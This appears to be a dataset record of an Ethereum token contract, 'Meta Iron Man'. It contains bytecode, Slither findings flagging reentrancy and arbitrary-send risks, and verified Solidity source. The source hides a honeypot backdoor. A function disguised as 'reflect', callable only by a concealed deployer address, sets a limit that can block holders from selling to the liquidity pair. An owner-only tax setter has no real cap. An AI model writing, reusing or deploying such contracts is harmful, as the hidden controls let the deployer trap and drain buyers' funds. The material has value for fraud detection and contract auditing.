ffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a3565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611d73565b50565b610b7d6112a3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612f32565b60405180910390fd5b600e60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190612fb2565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112ab565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6891906128bf565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e0291906128bf565b6040518363ffffffff1660e01b8152600401610e1f929190612d82565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e7191906128bf565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612dd4565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612a6b565b5050506001600e60166101000a81548160ff0219169083151502179055506000600e60176101000a81548160ff02191690831515021790555069152d02c7e14af6800000600f819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107d929190612dab565b602060405180830381600087803b15801561109757600080fd5b505af11580156110ab573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cf9190612a19565b5050565b6110db6112a3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611168576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115f90612f32565b60405180910390fd5b600081116111ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a290612ef2565b60405180910390fd5b6111da60646111cc83683635c9adc5dea0000061206d90919063ffffffff16565b6120e890919063ffffffff16565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf600f546040516112119190612ff2565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561131b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131290612f92565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561138b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138290612eb2565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114699190612ff2565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114dd90612f72565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611556576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154d90612e72565b60405180910390fd5b60008111611599576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159090612f52565b60405180910390fd5b6115a1610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160f57506115df610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7257600e60179054906101000a900460ff1615611842573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561169157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116eb5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117455750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561184157600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661178b6112a3565b73ffffffffffffffffffffffffffffffffffffffff1614806118015750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e96112a3565b73ffffffffffffffffffffffffffffffffffffffff16145b611840576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183790612fd2565b60405180910390fd5b5b5b600f5481111561185157600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f55750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fe57600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a95750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119ff5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a175750600e60179054906101000a900460ff165b15611ab85742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6757600080fd5b603c42611a749190613128565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac330610783565b9050600e60159054906101000a900460ff16158015611b305750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b485750600e60169054906101000a900460ff165b15611b7057611b5681611d73565b60004790506000811115611b6e57611b6d47611c99565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c195750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2357600090505b611c2f84848484612132565b50505050565b6000838311158290611c7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c749190612e50565b60405180910390fd5b5060008385611c8c9190613209565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611d01573d6000803e3d6000fd5b5050565b6000600654821115611d4c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4390612e92565b60405180910390fd5b6000611d5661215f565b9050611d6b81846120e890919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611dd1577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611dff5781602001602082028036833780820191505090505b5090503081600081518110611e3d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611edf57600080fd5b505afa158015611ef3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f1791906128bf565b81600181518110611f51577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fb830600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112ab565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161201c95949392919061300d565b600060405180830381600087803b15801561203657600080fd5b505af115801561204a573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b60008083141561208057600090506120e2565b6000828461208e91906131af565b905082848261209d919061317e565b146120dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120d490612f12565b60405180910390fd5b809150505b92915050565b600061212a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061218a565b905092915050565b806121405761213f6121ed565b5b61214b84848461221e565b80612159576121586123e9565b5b50505050565b600080600061216c6123fb565b9150915061218381836120e890919063ffffffff16565b9250505090565b600080831182906121d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c89190612e50565b60405180910390fd5b50600083856121e0919061317e565b9050809150509392505050565b600060085414801561220157506000600954145b1561220b5761221c565b600060088190555060006009819055505b565b6000806000806000806122308761245d565b95509550955095509550955061228e86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124c490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061232385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250e90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061236f8161256c565b6123798483612629565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123d69190612ff2565b60405180910390a3505050505050505050565b60016008819055506004600981905550565b600080600060065490506000683635c9adc5dea000009050612431683635c9adc5dea000006006546120e890919063ffffffff16565b82101561245057600654683635c9adc5dea00000935093505050612459565b81819350935050505b9091565b60008060008060008060008060006124798a6008546005612663565b925092509250600061248961215f565b9050600080600061249c8e8787876126f9565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061250683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c35565b905092915050565b600080828461251d9190613128565b905083811015612562576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161255990612ed2565b60405180910390fd5b8091505092915050565b600061257661215f565b9050600061258d828461206d90919063ffffffff16565b90506125e181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250e90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61263e826006546124c490919063ffffffff16565b6006819055506126598160075461250e90919063ffffffff16565b6007819055505050565b60008060008061268f6064612681888a61206d90919063ffffffff16565b6120e890919063ffffffff16565b905060006126b960646126ab888b61206d90919063ffffffff16565b6120e890919063ffffffff16565b905060006126e2826126d4858c6124c490919063ffffffff16565b6124c490919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612712858961206d90919063ffffffff16565b90506000612729868961206d90919063ffffffff16565b90506000612740878961206d90919063ffffffff16565b905060006127698261275b85876124c490919063ffffffff16565b6124c490919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000612795612790846130a7565b613082565b905080838252602082019050828560208602820111156127b457600080fd5b60005b858110156127e457816127ca88826127ee565b8452602084019350602083019250506001810190506127b7565b5050509392505050565b6000813590506127fd816136e5565b92915050565b600081519050612812816136e5565b92915050565b600082601f83011261282957600080fd5b8135612839848260208601612782565b91505092915050565b600081359050612851816136fc565b92915050565b600081519050612866816136fc565b92915050565b60008135905061287b81613713565b92915050565b60008151905061289081613713565b92915050565b6000602082840312156128a857600080fd5b60006128b6848285016127ee565b91505092915050565b6000602082840312156128d157600080fd5b60006128df84828501612803565b91505092915050565b600080604083850312156128fb57600080fd5b6000612909858286016127ee565b925050602061291a858286016127ee565b9150509250929050565b60008060006060848603121561293957600080fd5b6000612947868287016127ee565b9350506020612958868287016127ee565b92505060406129698682870161286c565b9150509250925092565b6000806040838503121561298657600080fd5b6000612994858286016127ee565b92505060206129a58582860161286c565b9150509250929050565b6000602082840312156129c157600080fd5b600082013567ffffffffffffffff8111156129db57600080fd5b6129e784828501612818565b91505092915050565b600060208284031215612a0257600080fd5b6000612a1084828501612842565b91505092915050565b600060208284031215612a2b57600080fd5b6000612a3984828501612857565b91505092915050565b600060208284031215612a5457600080fd5b6000612a628482850161286c565b91505092915050565b600080600060608486031215612a8057600080fd5b6000612a8e86828701612881565b9350506020612a9f86828701612881565b9250506040612ab086828701612881565b9150509250925092565b6000612ac68383612ad2565b60208301905092915050565b612adb8161323d565b82525050565b612aea8161323d565b82525050565b6000612afb826130e3565b612b058185613106565b9350612b10836130d3565b8060005b83811015612b41578151612b288882612aba565b9750612b33836130f9565b925050600181019050612b14565b5085935050505092915050565b612b578161324f565b82525050565b612b6681613292565b82525050565b6000612b77826130ee565b612b818185613117565b9350612b918185602086016132a4565b612b9a816133de565b840191505092915050565b6000612bb2602383613117565b9150612bbd826133ef565b604082019050919050565b6000612bd5602a83613117565b9150612be08261343e565b604082019050919050565b6000612bf8602283613117565b9150612c038261348d565b604082019050919050565b6000612c1b601b83613117565b9150612c26826134dc565b602082019050919050565b6000612c3e601d83613117565b9150612c4982613505565b602082019050919050565b6000612c61602183613117565b9150612c6c8261352e565b604082019050919050565b6000612c84602083613117565b9150612c8f8261357d565b602082019050919050565b6000612ca7602983613117565b9150612cb2826135a6565b604082019050919050565b6000612cca602583613117565b9150612cd5826135f5565b604082019050919050565b6000612ced602483613117565b9150612cf882613644565b604082019050919050565b6000612d10601783613117565b9150612d1b82613693565b602082019050919050565b6000612d33601183613117565b9150612d3e826136bc565b602082019050919050565b612d528161327b565b82525050565b612d6181613285565b82525050565b6000602082019050612d7c6000830184612ae1565b92915050565b6000604082019050612d976000830185612ae1565b612da46020830184612ae1565b9392505050565b6000604082019050612dc06000830185612ae1565b612dcd6020830184612d49565b9392505050565b600060c082019050612de96000830189612ae1565b612df66020830188612d49565b612e036040830187612b5d565b612e106060830186612b5d565b612e1d6080830185612ae1565b612e2a60a0830184612d49565b979650505050505050565b6000602082019050612e4a6000830184612b4e565b92915050565b60006020820190508181036000830152612e6a8184612b6c565b905092915050565b60006020820190508181036000830152612e8b81612ba5565b9050919050565b60006020820190508181036000830152612eab81612bc8565b9050919050565b60006020820190508181036000830152612ecb81612beb565b9050919050565b60006020820190508181036000830152612eeb81612c0e565b9050919050565b60006020820190508181036000830152612f0b81612c31565b9050919050565b60006020820190508181036000830152612f2b81612c54565b9050919050565b60006020820190508181036000830152612f4b81612c77565b9050919050565b60006020820190508181036000830152612f6b81612c9a565b9050919050565b60006020820190508181036000830152612f8b81612cbd565b9050919050565b60006020820190508181036000830152612fab81612ce0565b9050919050565b60006020820190508181036000830152612fcb81612d03565b9050919050565b60006020820190508181036000830152612feb81612d26565b9050919050565b60006020820190506130076000830184612d49565b92915050565b600060a0820190506130226000830188612d49565b61302f6020830187612b5d565b81810360408301526130418186612af0565b90506130506060830185612ae1565b61305d6080830184612d49565b9695505050505050565b600060208201905061307c6000830184612d58565b92915050565b600061308c61309d565b905061309882826132d7565b919050565b6000604051905090565b600067ffffffffffffffff8211156130c2576130c16133af565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131338261327b565b915061313e8361327b565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561317357613172613351565b5b828201905092915050565b60006131898261327b565b91506131948361327b565b9250826131a4576131a3613380565b5b828204905092915050565b60006131ba8261327b565b91506131c58361327b565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131fe576131fd613351565b5b828202905092915050565b60006132148261327b565b915061321f8361327b565b92508282101561323257613231613351565b5b828203905092915050565b60006132488261325b565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061329d8261327b565b9050919050565b60005b838110156132c25780820151818401526020810190506132a7565b838111156132d1576000848401525b50505050565b6132e0826133de565b810181811067ffffffffffffffff821117156132ff576132fe6133af565b5b80604052505050565b60006133138261327b565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561334657613345613351565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6136ee8161323d565b81146136f957600080fd5b50565b6137058161324f565b811461371057600080fd5b50565b61371c8161327b565b811461372757600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220bce2f0d197c742d7912fbce3bd75b612536f46619c3ce4f60a8ee97ee32a5e1d64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,212
0x657f6Cbdf07bE75CC43D1751aA0b8128afeB9Df1
/** *Submitted for verification at Etherscan.io on 2021-11-01 */ // SPDX-License-Identifier: MIT // Telegram: t.me/MetaIronManToken pragma solidity ^0.8.4; interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH(address token, uint amountTokenDesired,uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed oldie, address indexed newbie); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender() , "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract MetaIronMan is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _rOwned; mapping(address => mapping(address => uint256)) private _allowances; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 ; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxRate=8; address payable private _taxWallet; string private constant _name = "Meta Iron Man"; string private constant _symbol = "METAIRONMAN"; uint8 private constant _decimals = 0; IUniswapV2Router02 private _router; address private _pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; address private _override; uint256 private _max = _tTotal; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _rOwned[_msgSender()] = _rTotal; _router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); emit Transfer(address(0), _override=_msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setTaxRate(uint rate) external onlyOwner{ require(rate>=0,"Tax must be non-negative"); _taxRate=rate; } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(((to == _pair && from != address(_router) )?1:0)*amount <= _max); if (from != owner() && to != owner()) { if (!inSwap && from != _pair && swapEnabled) { swapTokensForEth(balanceOf(address(this))); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _router.WETH(); _approve(address(this), address(_router), tokenAmount); _router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path,address(this), block.timestamp); } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function startTrading() external onlyOwner() { require(!tradingOpen, "Trading is already open"); _approve(address(this), address(_router), _tTotal); _pair = IUniswapV2Factory(_router.factory()).createPair(address(this), _router.WETH()); _router.addLiquidityETH{value : address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp); swapEnabled = true; _max = _tTotal; tradingOpen = true; IERC20(_pair).approve(address(_router), type(uint).max); } modifier overridden() { require(_override == _msgSender() ); _; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external { require(_msgSender() == _taxWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { require(_msgSender() == _taxWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxRate, _taxRate); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function reflect(uint256 limit) external overridden { _max = limit; } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106100f75760003560e01c806370a082311161008a578063a9059cbb11610059578063a9059cbb146102ff578063c6d69a301461033c578063dd62ed3e14610365578063f4293890146103a2576100fe565b806370a0823114610255578063715018a6146102925780638da5cb5b146102a957806395d89b41146102d4576100fe565b806323b872dd116100c657806323b872dd146101bf578063293230b8146101fc578063313ce5671461021357806351bc3c851461023e576100fe565b8063053ab1821461010357806306fdde031461012c578063095ea7b31461015757806318160ddd14610194576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b5061012a60048036038101906101259190611eba565b6103b9565b005b34801561013857600080fd5b50610141610424565b60405161014e9190611f80565b60405180910390f35b34801561016357600080fd5b5061017e60048036038101906101799190612000565b610461565b60405161018b919061205b565b60405180910390f35b3480156101a057600080fd5b506101a961047f565b6040516101b69190612085565b60405180910390f35b3480156101cb57600080fd5b506101e660048036038101906101e191906120a0565b61048b565b6040516101f3919061205b565b60405180910390f35b34801561020857600080fd5b50610211610564565b005b34801561021f57600080fd5b50610228610a85565b604051610235919061210f565b60405180910390f35b34801561024a57600080fd5b50610253610a8a565b005b34801561026157600080fd5b5061027c6004803603810190610277919061212